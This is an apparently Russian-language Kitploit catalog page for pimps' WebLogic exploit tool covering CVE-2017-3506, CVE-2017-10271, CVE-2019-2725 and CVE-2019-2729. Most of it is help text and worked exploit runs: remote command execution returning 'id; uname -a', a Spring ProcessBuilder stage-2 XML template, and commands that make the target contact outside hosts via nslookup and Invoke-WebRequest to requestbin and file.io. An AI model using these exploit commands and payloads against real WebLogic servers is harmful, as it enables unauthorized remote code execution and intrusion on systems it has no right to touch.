Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-2725 — WebLogic Небезопасная десериализация — конструктор payload и эксплойт CVE-2019-2725 | Kitploit
Инструменты/GitHubGitHub/pimps/cve-2019-2725
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеГенерация Шеллкода
GitHubpimps/cve-2019-2725

CVE-2019-2725

WebLogic Небезопасная десериализация — конструктор payload и эксплойт CVE-2019-2725

Репозиторий
521136 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-2725

WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 конструктор payload-ов и эксплойт

Информация / Помощь

root@kitploit:~
$ python3 weblogic_exploit.py -h

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

usage: weblogic_exploit.py [-h] [-pl PAYLOAD] [-ep ENDPOINT] [-c CMD] [-j]
                           [-u URL] [-y YSOSERIAL] [-tr TERMINAL] [-px PROXY]
                           target

positional arguments:
  target                               Target Server

optional arguments:
  -h, --help                           show this help message and exit
  -pl PAYLOAD, --payload PAYLOAD       Use one of the available payloads: (default: fs_xml_app_ctx)
                                       		- process_builder (CMD - all versions)
                                       		- unit_of_work_change_set (SERIAL - 10.x versions)
                                       		- event_data (CMD - 12.x versions)
                                       		- fs_xml_app_ctx (URL - all versions).
  -ep ENDPOINT, --endpoint ENDPOINT    Use one of the configured endpoints: (default: automatic)
                                       		- wls_wsat (CMD output)
                                       		- _async (Blind Exec).
  -c CMD, --cmd CMD                    Command to execute. (default: whoami)
  -j, --jdk6                           Enable CVE-2019-2729 (bypass for 'class'). DISCLAIMER: Works ONLY in JDK 1.6!
  -u URL, --url URL                    Url to fetch stage2. Used with 'URL' payloads. (default: None)
  -y YSOSERIAL, --ysoserial YSOSERIAL  Custom YSOSERIAL payload file. Used with 'SERIAL' payloads. (default: None)
  -tr TERMINAL, --terminal TERMINAL    Use one of the available terminals: cmd, bash, powershell, none (default: bash)
  -px PROXY, --proxy PROXY             Configure a proxy in the format http://127.0.0.1:8080/ (default: None)

This script will generate a valid WebLogic SOAP payload to exploit different CVE's on this web server.

Примеры использования

С SERIAL-payload можно передать команду (для динамической генерации ysoserial payload) либо сгенерировать ysoserial payload вручную и передать его скрипту с помощью аргумента -y.

Чтобы динамически сгенерировать ysoserial payload, скачайте https://github.com/pimps/ysoserial-modified/blob/master/target/ysoserial-modified.jar и поместите его в ту же директорию, где находится этот скрипт.

Известно, что payload unit_of_work_change_set работает только в версиях WebLogic 10.x. Примеры:

root@kitploit:~
pimps$ java -jar ysoserial-modified.jar Jdk7u21 bash 'nslookup your.server.com' > ysoserial_payload.bin
pimps$ python3 weblogic_exploit.py -y ysoserial_payload.bin -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] YSOSERIAL payload size: 3182
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:39:52 GMT
Content-Length: 0

pimps$ python3 weblogic_exploit.py -c 'nslookup your.server.com' -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] YSOSERIAL payload size: 3027
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:46:33 GMT
Content-Length: 0

С URL-payload (FileSystemXmlApplicationContext) вы можете разместить собственный XML и передать его через аргумент -u либо позволить эксплойту сгенерировать временный payload-файл и разместить его на https://file.io! Этот payload будет создан на этапе эксплуатации и удален после того, как сервер загрузит его удаленно. Если вы хотите разместить собственный payload, используйте следующий шаблон:

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xsi:schemaLocation="http://www.springframework.org/schema/beans 
  http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[echo "this is my bash command, change terminal if needed"]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Известно, что этот payload работает во всех версиях WebLogic. Его недостаток в том, что целевому серверу требуется исходящее соединение (egress) для загрузки stage2 payload. Пример использования этого payload описан ниже:

root@kitploit:~
$ python weblogic_exploit.py -tr powershell -c 'Invoke-WebRequest http://requestbin.net/r/h4x31337' -pl fs_xml_app_ctx -px http://127.0.0.1:8080 https://target.server.com

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[-] No stage2 URL provided... Storing it now...
[+] Stage2 payload stored with success at: https://file.io/IbCIbg
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 202
Connection: close
Date: Tue, 27 Aug 2019 07:42:24 GMT
Content-Length: 0

И последний, но не менее важный: payload process_builder — самый распространенный эксплойт-payload (модуль Metasploit), который работает в версиях WebLogic, не пропатченных против черного списка class=. Этот payload был доработан для вывода результата команды в теле ответа сервера. Пример использования:

root@kitploit:~
pimps$ python3 weblogic_exploit.py -c "id; uname -a" -pl process_builder http://localhost:7001/

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 12:30:26 GMT
Transfer-Encoding: chunked

uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Обновления

29/08/2019

Добавлена поддержка payload event_data с выводом результата команды в теле ответа. Пример использования:

root@kitploit:~
$ python3 weblogic_exploit.py -c 'id; uname -a' -pl event_data http://localhost:7001

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:

HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 07:37:26 GMT
Transfer-Encoding: chunked

uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Благодарности: использована часть payload, опубликованного в этом репозитории GitHub, для вывода результатов команд в теле ответа (https://github.com/lufeirider/CVE-2019-2725/blob/master/CVE-2019-2725.py). Спасибо за публикацию, @lufeirider.

26/09/2019

Добавлена поддержка CVE-2019-2729. Это обходной путь, который заменяет <class> </class> на <array method="forName"> </array>. Этот обходной путь работает только в JDK 1.6 из-за расхождения в том, как эта версия JDK обрабатывает XML-данные через XMLDecoder.

В скрипт эксплойта добавлен аргумент -j/--jdk6.

Скачать инструмент